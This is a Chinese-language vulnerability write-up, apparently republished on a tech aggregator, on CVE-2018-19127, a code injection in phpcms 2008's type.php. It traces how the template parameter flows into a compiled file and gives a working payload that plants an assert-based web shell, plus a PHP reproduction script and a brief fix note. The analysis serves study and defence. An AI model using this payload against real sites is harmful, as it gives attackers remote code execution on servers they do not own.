IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> CVE-2018-19127 phpcms 2008命令执行 -> 正文阅读

[PHP知识库]CVE-2018-19127 phpcms 2008命令执行

简介

PHPCMS网站内容管理系统是国内主流CMS系统之一,同时也是一个开源的PHP开发框架。phpcms2008老版本type.php存在代码注入可直接getshell。

影响版本

phpcms 2008

漏洞分析

漏洞的位置位于type.php中,在此文件当中包含template变量,template变量是用户能够通过传入参数控制的,同时可以看到该变量之后会被传入template()方法。
请添加图片描述

跟进template()方法当中,方法把module,template和istag一同传入了template_compile()方法当中
请添加图片描述
继续跟入,进入template_compile()方法

请添加图片描述
我们可以发现,template变量被传入了文件创建的文件名和内容当中造成了漏洞。接下来,我们就详细分析一下此方法。

首先,将template传入tplfile中,然后读取tpfile文件的内容至content中,如果读取失败,则弹出消息tpfile不存在。然后将template变量放入文件路径compiledtplfile中,在这里表示着我们可以控制这个文件的位置。然后就是将前面的contenttemplate一起传入content中,构建这个文件的内容,然后使用file_put_contents()来创建这个文件。

这个方法的作用大致就是如此,这个方法最重要的地方在于content的部分,我们详细看content部分
请添加图片描述
首先这部分为一个三目运算符,对($istag || substr($template, 0, 4) == 'tag_')进行判断,如果为true,则执行'<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>',如果为false,则执行template_parse($content),前面的true中有$template,所以我们要控制这个条件为true,然后受我们控制的变量就进入了content当中成了文件内容,而$istag这个条件在这个方法中默认为0,直接为false,所以我们需要让substr($template, 0, 4) == 'tag_'

构造template变量template = tag_(){};@unlink(_FILE_);assert($_POST[1]);{//..\rss

自己根据这个方法写了一段代码,查看变量在方法中传递的时候的变化,相关代码如下
请添加图片描述

<?php
$template = $_GET["template"];
echo('template='.$template."<br />"."<br />");
$tplfile = 'E:\phpstudy_pro'.'\\'.'www'.'\\'.$template.'.html';
echo('tplfile='.$tplfile."<br />"."<br />");
$content = @file_get_contents($tplfile);
echo('content='.$content."<br />");
if($content === false) echo("$tplfile is not exists!");
$compiledtplfile = 'E:\phpstudy_pro\www\test'.'_'.$template.'.tpl.php';
echo("<br />"."<br />".'compiledtplfile='.$compiledtplfile."<br />"."<br />");
$content=(substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);
echo("<br />"."content=".$content);
$strlen = file_put_contents($compiledtplfile,$content);
@chmod($compiledtplfile,0777);

function template_parse($str, $istag = 0)
{
	$str = preg_replace("/([\n\r]+)\t+/s","\\1",$str);
	$str = preg_replace("/\<\!\-\-\{(.+?)\}\-\-\>/s", "{\\1}",$str);
	$str = preg_replace("/\{template\s+(.+)\}/","<?php include template(\\1); ?>",$str);
	$str = preg_replace("/\{include\s+(.+)\}/","<?php include \\1; ?>",$str);
	$str = preg_replace("/\{php\s+(.+)\}/","<?php \\1?>",$str);
	$str = preg_replace("/\{if\s+(.+?)\}/","<?php if(\\1) { ?>",$str);
	$str = preg_replace("/\{else\}/","<?php } else { ?>",$str);
	$str = preg_replace("/\{elseif\s+(.+?)\}/","<?php } elseif (\\1) { ?>",$str);
	$str = preg_replace("/\{\/if\}/","<?php } ?>",$str);
	$str = preg_replace("/\{loop\s+(\S+)\s+(\S+)\}/","<?php if(is_array(\\1)) foreach(\\1 AS \\2) { ?>",$str);
	$str = preg_replace("/\{loop\s+(\S+)\s+(\S+)\s+(\S+)\}/","<?php if(is_array(\\1)) foreach(\\1 AS \\2 => \\3) { ?>",$str);
	$str = preg_replace("/\{\/loop\}/","<?php } ?>",$str);
	$str = preg_replace("/\{\/get\}/","<?php } unset(\$DATA); ?>",$str);
	$str = preg_replace("/\{tag_([^}]+)\}/e", "get_tag('\\1')", $str);
	$str = preg_replace("/\{get\s+([^}]+)\}/e", "get_parse('\\1')", $str);
	$str = preg_replace("/\{([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/","<?php echo \\1;?>",$str);
	$str = preg_replace("/\{\\$([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/","<?php echo \\1;?>",$str);
	$str = preg_replace("/\{(\\$[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\}/","<?php echo \\1;?>",$str);
	$str = preg_replace("/\{(\\$[a-zA-Z0-9_\[\]\'\"\$\x7f-\xff]+)\}/es", "addquote('<?php echo \\1;?>')",$str);
	$str = preg_replace("/\{([A-Z_\x7f-\xff][A-Z0-9_\x7f-\xff]*)\}/s", "<?php echo \\1;?>",$str);
	if(!$istag) $str = "defined('IN_PHPCMS') or exit('Access Denied');".$str;
	return $str;
}
?>

我们可以看到最后我们构造的$_POST[1]也传递进入文件当中,文件存放于当前目录的上一层,命名为rss.tpl.php
请添加图片描述

修复建议

手动过滤$template参数,避免输入{ (这类字符被当作路径和脚本内容处理以及一些敏感参数

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-01-16 12:49:24  更:2022-01-16 12:49:57 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/27 4:47:18-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计